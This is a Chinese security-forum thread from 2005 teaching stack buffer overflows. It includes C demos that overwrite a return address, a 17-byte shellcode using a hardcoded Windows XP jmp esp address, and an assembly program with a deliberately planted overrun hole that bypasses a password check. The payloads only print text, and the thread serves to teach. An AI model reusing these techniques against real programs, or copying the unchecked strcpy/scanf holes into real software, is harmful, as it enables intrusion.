[原创]为什么堆栈溢出会带来危害
文章标题:[原创]为什么堆栈溢出会带来危害顶部 nickchang 发布于:2005-11-2804:58  [楼主][原创]为什么堆栈溢出会带来危害
文章作者:张戈(nickchang)
信息来源:邪恶八进制信息安全团队(www.eviloctal)
在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。我在这里演示一下堆栈溢出的原理。
首先,介绍一下,与堆栈有关的一些概念:动态内存有两种,堆栈(stack),堆(heap)。堆栈在内存上端,堆在内存下端,当程序执行时,堆栈向下朝堆增长,堆向上朝堆栈增长。通常,局部变量,返回地址,函数的参数,是放在堆栈里面的。
低地址
局部变量
旧的基指针
返回地址
函数的参数(左)
函数的参数(。。。)
函数的参数(右)
高地址
我们可以写一个小程序测试:
Copycode
#include"string.h"
voidtest(char*a);
intmain(intargc,char*argv[])
{
chara[]=“hello”;
test(a);
return0;
}
voidtest(char*a)
{
char*j;
charbuf[5];
strcpy(buf,a);
printf("&main=%p\n",&main);
printf("&buf=%p\n",&buf);
printf("&a=%p\n",&a);
printf("&test=%p\n",&test);
for(j=buf-8;j<((char*)&a)+8;j++)
printf("%p:0x%x\n",j,*(unsignedchar*)j);
}
Main定义一个字符串hello,然后调用test函数,在test函数中,有一个长度为5的局部字符串变量buf,然后把复制参数a复制到buf中,这里因为没有a的长度小于等于buf的长度,所以并没有溢出buf。然后显示各个函数,参数,局部变量的地址,以及局部字符串变量buf和参数a之间的地址,我们看到:
Quote:
&main=0040100A
&buf=0012FF14printf函数是如何实现的
&a=0012FF28
&test=00401005
0012FF0C:0xcc
0012FF0D:0xcc
0012FF0E:0xcc
0012FF0F:0xcc
0012FF10:0xcc
0012FF11:0xcc
0012FF12:0xcc
0012FF13:0xcc
0012FF14:0x68        h    这里就是buf了!
0012FF15:0x65        e
0012FF16:0x6c        l
0012FF17:0x6c        l
0012FF18:0x6f        o
0012FF19:0x0        \0
0012FF1A:0xcc
0012FF1B:0xcc
0012FF1C:0x1c        这里是
0012FF1D:0xff        两个
0012FF1E:0x12        旧的
0012FF1F:0x0        基指针,不管他
0012FF20:0x80
0012FF21:0xff
0012FF22:0x12
0012FF23:0x0
0012FF24:0x34        这个就是
0012FF25:0xb8        返回地址了
0012FF26:0x40        和main的地址很
0012FF27:0x0        接近吧!
0012FF28:0x78        这个是
0012FF29:0xff        参数a,即
0012FF2A:0x12
a字符串的
0012FF2B:0x0        地址
0012FF2C:0xe
0012FF2D:0x0
0012FF2E:0x0
0012FF2F:0x0
由于c编译器不会自己做边界检查的,所以,如果buf中的内容足够长,而不是hello,那么很有可能覆盖掉原来的返回地址,那么程序就会跳转到其他地方,为了试验,我们定义一个简单的函数echo,让test返回的时候跳转到echo。
用printf("&echo=%p\n",&echo);我已经知道了echo的地址是0x0040100f,从上面的例子已经知道从0012ff14到0012ff27要覆盖多少数据,数一下就知道了;改写如下:
Copycode
#include"string.h"
voidtest(char*a);
voidecho();
intmain(intargc,char*argv[])
{
chara[16];
inti;
for(i=0;i<16;i++)a[i]='x';    //覆盖不重要的部分,为了达到返回地址
a[16]=0xf;      //在这里改写了返回地址
a[17]=0x10;
a[18]=0x40;
a[19]=0x00;    //一方面高字节正好是00,同时00又是字符串的结尾
test(a); 
return0;
}
voidtest(char*a)
{
char*j;
charbuf[5];
strcpy(buf,a);      //分配的缓冲区只有5,结果却有19,溢出了!
printf("&main=%p\n",&main);
printf("&buf=%p\n",&buf);
printf("&a=%p\n",&a);
printf("&echo=%p\n",&echo);
printf("&test=%p\n",&test);
for(j=buf-8;j<((char*)&a)+8;j++)
printf("%p:0x%x\n",j,*(unsignedchar*)j);
}
voidecho()
{
printf("haha!\n");
printf("haha!\n");
printf("haha!\n");
printf("haha!\n");
}
结果,我们看到地址显示完以后,出现了echo函数里面的haha!\nhaha!\nhaha!\nhaha!\n,说明溢出跳转成功,但是,在结束的时候出现了程序崩溃,这是因为echo不到它的返回地址导致的。但是今天我们的目的,利用溢出执行其他代码的任务已经实现了,我在下一次会告诉大家如何把堆栈溢出和shellcode结合起来。谢谢大家,bytheway,我也是初学者,有理解偏差的地方,希望高手指教,nickchang918@hotmail。顶部 nickchang 发布于:2005-11-2818:17  [1楼]
对不起阿,其实buf[5],strycpy(buf,"hello")的时候已经溢出了,只是没有什么副作用而已,疏忽了顶部 ZV 发布于:2005-11-2910:14  [2楼]
Quote:
下面是引用nickchang于2005-11-2818:17发表的:
只是没有什么副作用而已
针对你这句话,今天有空顺手给你写一段代码,其实不想写的,昨天看到某些人的回复了.觉得实在不爽...
以下代码是在windowsXp(sp2)+devc4.9.6.0(不要选择代码优化)下测试通过.输出hehe函数中的内容.
#include"stdio.h"
voidtest(char*a);
voidhehe();
intmain(intargc,char*argv[])
{
chara[]={0xed,0x1e,0x96,0x7c,0x90,0xb8,0xff,0x68,0x13,0x40,0xc1,0xe8,0x08,0x90,0xff,0xe0,0x5c};
//下面的缓冲区是16字节,这里是a是17字节和楼主原文hello是6字节,下面buf是5字节是一样.仅多了一个字节而已.
test(a);
return0;
}
voidtest(char*a)
{
charbuf[16];
strcpy(buf,a)
;
}
voidhehe(){
printf("以下是对某些人说的话,并不针对楼主,EST是非常欢迎楼主这样诚心来讨论技术的人."
"EST的人,无论技术好坏,能把自己的东西无私的拿出来给大家就该值得大家尊重."
"希望以后不要在EST看到有攻击他人的文字出现,当然,EST的人其实都很菜."
"实在没什么见识,如果有哪位高人的高见,小弟愿意静听.");
}
其实楼主的"hello"在理论上是绝对可以溢出的,可在实际中成功的环境和机会很小,具体为什么,就留给楼主做个练习.
于是我写了一个容易实现,大家都能编译看到效果的代码.代码扫尾部分做的不好,不过没时间了.就这样.这篇代码我也不想多说啥,几年前的技术.代码中该说的都说了.顶部 netc4t 发布于:2005-11-2913:07  [3楼]
看着熟悉的帖子,呵呵,在ChinaUnix也发了哈`~~顶部 kiki 发布于:2005-12-0309:11  [4楼]
没看到shellcode的编写...顶部 ZV 发布于:2005-12-0314:18  [5楼]
chara[]={0xed,0x1e,0x96,0x7c,0x90,0xb8,0xff,0x68,0x13,0x40,0xc1,0xe8,0x08,0x90,0xff,0xe0,0x5c};
这就是简单的shellcode.只完成了寻函数地址和简单解密地址(因为不能出现00,否则拷贝失败)然后跳转的任务.jmpesp用的是xp(sp2)的地址.不通用.因为对于16字节来说不能考虑太多.顶部 nickchang 发布于:2005-12-0503:21  [6楼]
感谢ZV老兄的指导,我是菜鸟啦,文章里面会有很多错误,只有向大家学习才能进步
还是不太明白,反汇编后代码如下,没有看到jmpesp啊?不知能不能麻烦ZV解释一下
:00000000ED      inax,dx
:000000011E      pushds
:0000000296      xchgeax,esi
:000000037C90      jlFFFFFF95
:00000005B8FF681340    moveax,401368FF
:0000000AC1E808      shreax,08
:0000000D90      nop
:0000000EFFE0      jmpeax
:000000105C      popesp
[此贴被nickchang在2005-12-0504:56重新编辑]顶部 ZV 发布于:2005-12-0509:49  [7楼]
呵呵,这确实是几年前的技术,你有兴趣可以参考网上很多人写的"单字节溢出",一般就明白了.
5c其实不是代码了.
简单的来解释以下:
我们知道函数调用的时候一般都是:
pushebp
movebp,esp
<
返回的时候都有几句是这样的:
movesp,ebp
popebp
ret
基于你test函数只有一个buf,那么堆栈内就是
<返回地址.....
buf是16字节,那么拷贝17字节肯定将覆盖ebp最后一个字节.也就是能改变ebp的值
那么返回的时候有movesp,ebp
这肯定又将改变esp的值.
那么最后一句ret的时候,取出esp指向的值作为函数执行结束后eip的值.跳到该处执行.
那么esp被我指向了shellcode的第一个4位"0xed,0x1e,0x96,0x7c",也就是0x7c961eed,这个地址在windowsxp+sp2的内存里面是"jmpesp";[这里暂时设置一个标签1,待会还有解释]
ret弹出eip后,esp指针+4,自然的指到我的shellcode的
第4个字节的地址.由于这个时候执行的是jmpesp.所以代码执行又返回到我的shellcode里面.
这个时候的代码你已经反编出来了:
:00000005B8FF681340  moveax,401368FF
:0000000AC1E808  shreax,08
:0000000D90  nop
:0000000EFFE0  jmpeax
目的地址是0x00401368(hehe函数内部地址);因为不能出现00,所以先给eax赋值0x401368ff,然后右移8位,把ff移掉.
最后跳过去,就到了hehe函数内部了[这里设置标签2]
标签1处也是一样,出现00,所以不能直接写上hehe函数的内部地址.周转了以下.
标签2处,因为这个时候esp和ebp都是非法地址了,而且不能改变,所以我直接跳到了printf函数的地方,输出了那些文字,其实还可以更完美,不过也没时间做,呵呵..
终归原因是看到有些人对est的成员恶语相伤,花了点时间写了这个,还请牛人们提点建议(其实也没什么好提的,老东西,都被玩烂了...)顶部 rose! 发布于:2005-12-3020:29  [8楼]
32位程序为什么调用子程序时,先把EIP入栈,然后EBP入栈?
我们上课老师说的是段内调用IP入栈,段间调用时CS入栈,然后IP入栈?顶部 chrisy 发布于:2006-01-0219:23  [9楼]
借楼主的地盘,也来发个stackoverrun的演示吧。
用fasm编译后连接到msvcrt.lib(option:/Subsystem:console)
真实的密码是1_2_3_4,但是由于故意留下了一个后门,所以任何形如xxxxxxxx@^P@的密码都可以通过验证,
其中^p表示ctrl+p
;---------------------------------------------------------------------------------------------------------
;  Demoofbufferoverrunhackablehole
;  ChrisWu<chris[dot]wu[dot]yale[at]gmail[dot]com>
;
;  Note:youhavetolinkitagainstmsvcrt.lib
;
formatMSCOFF
publicmainas'_main'
extrn'__imp__strcmp'asstrcmp:dword
extrn'__imp__scanf'asscanf:dword
extrn'__imp__printf'asprintf:dword
section'.text'codereadableexecutable
validate:
sub    esp,8
push    esp
push    _string
call    [scanf]
add    esp,8
push    esp
push  _password
call    [strcmp]
add  esp,8
add  esp,8
ret
main:
;int  3
push  ebp
mov  ebp,esp
push  _infor
call    [printf]
add  esp,4
;weleaveabufferoverrunholehere
call    validate
cmp  eax,0
jne    deny
push  _granted
call    [printf]
add  esp,4
jmp  grant
deny:
push  _denied
call    [printf]
add  esp,4
jmp  exit
grant:
;----------------
;renderservice
;----------------
;
----------------
;endofsevice
;----------------
exit:
mov  esp,ebp
pop  ebp
ret
section'.data'datareadablewritable
_string db'%s',0
_passworddb'1_2_3_4',0
_infor  db0xa,'EnterPassword:',0
_denied db0xa,'ACCESSDENIED',0xa,0
_granteddb0
xa,0xa,\
'--------------WELCOMETOB.O.D.--------------',\
0xa,0xa,'BufferOverrunDemoCopyright(C)2005ChrisWu',\
0xa,0xa,'demoofbufferoverrunhackablehole',0xa,0
;
;--------------------------------------endoffile-----------------------------------------------------
;(c)Copyleft2003-2007,EvilOctalSecurityTeam.
ThisfileisdecompiledbyanunregisteredversionofChmDecompiler.
Regsiteredversiondoesnotshowthismessage.
YoucandownloadChmDecompilerat:www.zipghost/